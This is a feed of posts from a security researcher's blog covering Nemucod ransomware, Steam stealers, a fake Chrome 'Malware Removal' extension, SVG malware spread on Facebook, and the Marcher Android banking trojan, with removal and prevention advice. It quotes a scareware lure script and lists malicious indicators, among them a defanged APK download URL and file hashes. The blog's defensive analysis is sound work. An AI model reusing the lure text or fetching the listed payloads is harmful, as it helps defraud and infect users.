Script Defender

CryptoPrevent Malware Prevention:
https://www.foolishit.com/cryptoprevent-malware-prevention/

Java:
Waarom moet ik oudere Java-versies van mijn computer verwijderen?

PowerShell uitschakelen:










Resources

Backups:
Back-ups maken en terugzetten: veelgestelde vragen

Office:
ActiveX-besturingselementen in Office-documenten in- of uitschakelen
Externe inhoud in Office-documenten blokkeren of deblokkeren
Macro's in Office-bestanden in- of uitschakelen

Ransomware extra informatie:
Ransomware: a Q&A

Windows File Sharing:
Understanding Windows Server 2008 File and Folder Ownership and Permissions

Windows Script Host (WSH):
Disabling Windows Script Host

All your creds are belong to us

$
0
0

In the past, I've blogged about Steam Stealers (malware that specifically targets gamers and users of Valve's platform) before (see 1, 2), but this blog post will be a bit different.

Working together with Santiago Pontiroli, Security Researcher at Kaspersky Lab Global Research and Analysis Team, we've written a paper on these infamous Steam Stealers.

Check out our blog post here or directly download the PDF from here.

Enjoy!

Ransomware prevention

$
0
0

Very short blog post to let you know I now also have an English version of my article 'preventie van ransomware', on how to prevent ransomware.

You can find it as a page (see top of my blog) or here:
Ransomware Prevention

Translations are available in Dutch (Nederlands) and French (français).

Thanks to @WawaSeb for the French translation. If you would like to translate this page in your own language, feel free to do so and send me the link so it can be added.

Nemucod ransomware information

$
0
0


This is a quick post on the recent Nemucod ransomware. Nemucod is (normally) a downloader which uses JavaScript  JScript (thanks Katja) to enter an unsuspecting user's machine and download additional malware (depends on campaign usually).

There's a blog post by Fortinet which explains Nemucod ransomware, so I'm not going to repeat much here: Nemucod Adds Ransomware Routine

It came to our attention that a new, rather peculiar version of Nemucod has been recently landing on users. Nemucod is a well-known JavaScript malware family that arrives via spam email and downloads additional malware to PCs.

This particular campaign is using the lure of a court appeal to spread:










The mail reads:

Notice to Appear,
You have to appear in the Court on the April 22.Please, prepare all the documents relating to the case and bring them to Court on the specified date.Note: If you do not come, the case will be heard in your absence.
The Court Notice is attached to this email.
Yours faithfully,Brian Snider,District Clerk.


It seems Nemucod ransomware got another update, as it now uses 7-zip to actually encrypt the files.

Another change is the slight drop in price. Whereas before it was 0.60358 bitcoins ($267.14 or €236.43), it's now 0.49731 bitcoins ($220.11 or €194.80).

New message reads:

Nemucod ransomware message


























Nemucod encrypting a whole plethora of filetypes, appending the .crypted extension









Disinfection

If you have opened a .JS file (JScript file) from an unknown sender, open Task Manager immediately and stop all the following processes (at least in this version of Nemucod):

a0.exe (actually 7-zip disguised)
a1.exe
a2.exe
cmd.exe
wscript.exe


The faster you do this, the less files will be encrypted. Run a scan with your antivirus program and a scan with another antivirus program to verify the malware has been removed.

Note: It's always useful to keep a copy of the ransomware note handy, as it's easier to identify the ransomware and if it can be decrypted.


Decryption

I'm only briefly reporting on this for those in need, but currently, the known decryptors are suited for this version. However, Fabian from Emsisoft is already working hard to make a decryptor available, so please have patience!

If you have an older version of Nemucod, you can try one of either decryptors:
Emsisoft Decrypter for Nemucod 
nemucod_decrypter (you will need to install Python for this)

You can also try restoring files with Shadow Explorer. (alternate link)

For more information, please visit the following Bleeping Computer topic
.crypted Ransomware (Nemucod) - Decrypt.txt Support and Help Topic



Prevention

In particular for Nemucod, don't open any JScript/JavaScript files from unknown senders.

For more tips on ransomware prevention, be sure to check out this page I've set up:
Ransomware Prevention


Conclusion

Same as with all malware: don't open attachments from unknown senders!

Please find below IOCs and additional resources.



Resources

.crypted Ransomware (Nemucod) - Decrypt.txt Support and Help Topic
ID ransomware
JavaScript-toting spam emails: What should you know and how to avoid them?
JScript
Nemucod ransomware IOCs
Ransomware overview
Ransomware Prevention
TrojanDownloader: JS/Nemucod

SteamStealer IP visualisations

$
0
0

Just for fun I decided to visualise all SteamStealer IPs I've encountered (till now). They are hosting multiple fake screenshot websites, fake voice communication software, fake streaming websites, fake Steam websites and others. They may also be a C&C for the malware, or fake gambling/lottery websites.

Any additional information can also be found on my blog:
Malware spreading via Steam chat

Additionally, be sure to read the paper I wrote with Santiago from Kaspersky about SteamStealers here: The evolution of malware targeting Steam accounts and inventory


Now for the fun part:




View SteamStealer IPs in a full screen map



Alternatively, check out the following map and stats:



a

CountryCount
Russian Federation163
United Kingdom19
Netherlands18
United States14
Germany9
Ukraine6
France6
Poland4
Romania1
Italy1
Czech Republic1
Canada1
Australia1
Belarus1
Belize1
Kazakhstan1
Virgin Islands, British1
Spain1
Moldova, Republic of1



As you can see, most of them are hosted in Russia; while the United Kingdom and The Netherlands rank second and third respectively.

Note: CloudFlare is gaining popularity in 'hiding' the real server IP address. CloudFlare IPs are not included.

That's about it, hope you enjoyed! Please find below tools used to create the mapping.


Resources

Geomapping:
Batchgeo
GIPC

Data:
SteamStealer IPs IOCs

A collection of PHP backdoors

$
0
0

Just a quick post to announce I've set up a GitHub repository with a collection of PHP backdoors for educational and/or testing purposes only:














Feel free to check it out and/or contribute here:
https://github.com/bartblaze/PHP-backdoors

The repository will be updated continuously and gradually.

If you're interested in analysing a PHP backdoor, check out my post on PHP/C99shell:
C99Shell not dead


Additionally, find tools to deobfuscate PHP backdoors here:
PHP tools

EU cookie law and fake Chrome extensions

$
0
0

When a website is serving up malware to unsuspecting visitors, it's often not too hard to find the culprit. In some cases however, it takes a bit more digging. When visiting a (not named on request) specific website, you're presented with the following message:

Your browser contains MALWARE. You have to install Chrome Malware Removal tool











After some digging on the site, nothing was suspicious at first sight. However... It did have a EU cookie law pop-up/consent:










The script behind it is as follows:









... Which contains:








Both scripts contain the warning message and a redirect to the Google Chrome store:

lang = 'en';
var msg = 'Your browser contains MALWARE. You have to install Chrome Malware Removal tool.';
if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";

You can find both scripts on Pastebin here and here.


Chrome Malware Removal Tool





























At time of writing, it has over 22,000 users. You can find the malicious extension here.

UPDATE 27/07: the malicious extension has now been removed from the Chrome store.

To remove an extension from Chrome:








It is not clear whether the site offering the cookie consent script is hacked, or is in on the ploy.

You can find indicators (for what it's worth) as always on the AlienVault OTX.



Conclusion

Stay clear from scripts offered by 3rd party EU cookie consent websites and rather create your own pop-up. A trustworthy site to create this for example is cookie-script.

As always when managing a website, keep your CMS (if any) updated as well as any plugins that may be running.

You can find more tips on how to prevent, find (and remove) malicious scripts on your website here.

Cybercrime Report Template

$
0
0


In this blog post I'll be contributing a template or form, made as simple as possible, to enable you to report cybercrime in a more efficient way. Scroll down if you're not interested in the background story.

The purpose or need of this form arose several years ago, when I wrote a blog post about the 'blame game'. In short, I wrote about how we are all guilty of pointing fingers when a cyberincident occurs.

In reality, the only person or entity to blame, is the one that infected you or your organisation. Since publishing that specific post, cooperation has definitely improved - whether that is due to my post or not, I'll leave aside - an example is the No More Ransom project.

The blog post concluded stating that post-infection information is scarce: there is prevention, incident handling, malware cleaning all around - but available information on what to do afterwards was rather poor.

In short: report it to your CERT or local police department!

You can fill in the template below and download and/or print it as a PDF, which you can submit or include to an organisation of your choosing.




The template is also available on the following link:
Cybercrime Report Template

Disclaimer: no information will be sent to me or Jotform at any point.

Additionally to the template included in this blog post, or in link above, it is also seperately available as a PDF.

Organisations that wish to use this template, are free to do so. I have added the source on Github, which you'll be able to find here.



Resources

Please refer to the following websites if you would also like to report this seperately:
Report Cybercrime Online (EU)
IC3 Complaint Referral Form (US)

In case you do not want to report this to a specific law enforcement agency seperately, just fill in the form above. If you are willing, it is possible to share any information through Criminal Intelligence teams - this can be completely anonymous, similar to this form.

Be sure to contact your CERT or local police department to ask if they have such a team or anonymous reporting possiblity (see also links above).

You can find a list of CERTs here:
CERTs by Country - Interactive Map
List of National CSIRTs

APCERT team members

Nemucod downloader spreading via Facebook

$
0
0

Earlier today, a friend of mine notified me of something strange going on with his Facebook account; a message containing only an image (an .svg file in reality) had been sent automatically, effectively bypassing Facebook's file extension filter:

'Photo_9166.svg'




















What is an .svg file? From Wikipedia:

Scalable Vector Graphics (SVG) is an XML-based vector image format for two-dimensional graphics with support for interactivity and animation. The SVG specification is an open standard developed by the World Wide Web Consortium (W3C) since 1999.
This means, more specifically, that you can embed any content you want (such as JavaScript). Moreover, any modern browser will therefore able to open this file.


Contents of our 'photo' are as follows:

Copy of file on Pastebin here












It's a heavily obfuscated script, which, after opening, redirects you to the following website:


Fake Youtube - "You must install the codec extension to watch this video."















A website purporting to be Youtube, including a video from Facebook - of course, you'll need to install an additional extension to view it :)

The extension has no icon and thus seems invisible and has the following permissions:





















Currently, I'm not exactly sure what this extension is supposed to do beside spreading itself automatically via Facebook (harvesting your credentials in the process), but likely it downloads other malware to your machine.

One of my security colleagues had in fact noticed similar behavior and got ransomware (Locky) as payload:



The extensions' description can be one of the following, and seem semi-random. Note that other variations are possible:

One ecavu futolaz corabination timefu episu voloda 
Ubo oziha jisuyes oyemedu kira nego mosetiv zuhum

The Facebook security team as well as Google Chrome's store security team have been notified.

UPDATE 22/11/2016

  • The rogue Chrome extensions are removed from the store. 
  • Facebook is now filtering for SVG files as well:


Test.svg, containing just a window.alert() method







Removal


Remove the malicious extension from your browser immediately:








Additionally, run a scan with your antivirus and change your Facebook password afterwards.

Notify your friends you sent a malicious file, or in the other case, let your friend know he/she is infected. If you keep receiving the same message from your friend, you may want to temporarily block their messages.



Conclusion

As always, be wary when someone sends you just an 'image' - especially when it is not how he or she would usually behave.

Additionally, even though both Facebook and Google have excellent security controls/measures in place, something bad can always happen.

For those interested, all related files have been uploaded to VirusTotal, and their hashes and domains can be found, as always, on AlienVault's OTX:
Nemucod downloader spreading via Facebook

Android malware on the rise

$
0
0


Recently, a friend of mine encountered an interesting phishing attempt:


The message reads:
DHL has attempted to deliver the parcel no.: 1993747, but nobody was available. Please arrange re-delivery using our mobile app: http://dhl-tracking[.]online/app.apk

In this blog post, we'll analyse the malware in question (Marcher, banking trojan) and provide disinfection and prevention advice. Click on any of the relevant links below according to your needs:

Analysis
Disinfection
Prevention
Conclusion
Resources


Analysis

When you visit the link, a file called app.apk gets downloaded with the following characteristics:

MD580c797acf9bdbe225e877520275e15f5
SHA1f255de54ffbff87067cfa7bc30d6d87a00aded8f
SHA256fcd18a2b174a9ef22cd74bb3b727a11b4c072fcef316aefbb989267d21d8bf7d
Package nameijrtc.jwieuvxpjavuklczxdqecvhrjcvuho


The application presents itself as 'DHL Express Mobile' while being installed and will ask for device administrator rights:

Figure 1 - System service




















Basically, the app can do anything it desires:

Figure 2 - Permissions; this includes & reading text messages

Figure 3 - Permissions; note the 'modify system settings'


































The payload, or the actual malware that is installed, is the Marcher banking trojan. Recently, it has been masquerading as applications for package delivery, such as DHL in the example above, Posta Online or an app called Alza.

Marcher checks if any of the following antivirus or security products are installed:


Figure 4 - AV list

























... And targets the following applications:

Figure 5 - Targeted apps










Besides targeting antivirus applications, Marcher also uses some nasty tricks to avoid removal:

  • Marcher installs itself as Device Administrator, effectively making the user unable to force the process to stop or uninstall the application normally;
  • When you attempt to force uninstall the application, it will show you the device administrator prompt, as seen in Figure 1, which will continue to pop-up.

All in all, the malware isn't obfuscated much, but still proves to have particular persistence mechanisms. One does not exclude the other.

If you are only here for Indicators of Compromise, please find below:



You may also want to check out my blog post which provides a plethora of options and software/tools on how to analyze Android malware:
Analysing Android files


Disinfection

Marcher proves more difficult to remove as outlined above. The best way in this case is to back up your files and reinstall your operating system.

There is an excellent article on MakeUseOf on how to get to your phone's 'safe mode', create a back-up and finally factory restore or reinstall your operating system:
Dealing with System Problems in Android: Safe Mode, Factory Reset & Restoring Backups

Alternatively, you may try the following steps to remove Marcher, which also involves going into safe mode:



  • Hold down the Power button on the side of your phone until a popup appears.
  • On the menu that shows up, hold down the Power Off option until a popup appears.
  • Tap OK to reboot into Safe Mode.
  • You should now be in Safe Mode.
  • Go to Settings > Security > Device administration > Device administrators or Phone administrators.
  • Tap on the malicious application.
  • Tap Deactivate in the next screen. In our example:


Figure 6 - deactive the app




















  • Now, go to  Settings > Applications or Apps > Manage applications > tap the malicious app > Uninstall.

For normal applications that don't have device administrator rights, only the last step is sufficient.

Afterwards, change all your passwords and notify your bank to be on lookout for any fraudulent transactions. Do this also if your bank is not listed (affected banks pictured in Figure 5).

Additionally, you may want to run a scan with an antivirus or antimalware product for Android. If you're unsure which antivirus to run, you can try Avast (it also detects the Marcher version discussed in this blog post).

You may want to have a look at other antivirus products if Avast does not suit your needs. A good comparison can be found on AV-test's website: The best antivirus software for Android.

Note that the best course, in any case, is to backup your files and reinstall your device! Don't forget to change passwords and notify your bank.



Prevention

  • Don't root your Android device(s).
  • Don't just install any app. Use common sense. When in doubt, do not install the app.
  • Be wary of suspicious-looking apps even when they have a lot of positive feedback. These may be fake comments. Ask friends, colleagues or Google. Still not sure? Do not install the app.
  • Download from official app stores only. Even though malware may exist on Google's Play store, chances are less likely.
  • Use the default, built-in security in Android. For example, do not allow installation of apps from unknown sources and Encrypt Device.
  • Always verify app permissions. Depending on the app, it should not be able to directly call other phone numbers.
  • Back up your files. If something like this ever happens to you, simply reinstall and restore.
  • Install an antivirus. This may be a resident one, meaning no active protection and scanning only.

More useful links are listed below in the Resources section.


Conclusion

While Windows malware still takes the biggest portion, malware for other operating systems is becoming more and more common. In regards to Android, make sure to follow the prevention tips above to stay safe.

Worth noting that, as always, prevention is better than disinfection. Create (and test) back-ups.



Resources

Analysing Android files - Blaze's Security Blog
Dealing with System Problems in Android: Safe Mode, Factory Reset & Restoring Backups - MakeUseOf
DevicePolicyManager - Android developer area
F-Secure Freedome VPN  - F-Secure
How Do I Delete Applications from My Android Device? - Lifewire
The best antivirus software for Android - AV-Test
What Is A Nandroid Backup and How Exactly Does It Work?  - MakeUseOf

IOCs
Viewing all 118 articles
Browse latest View live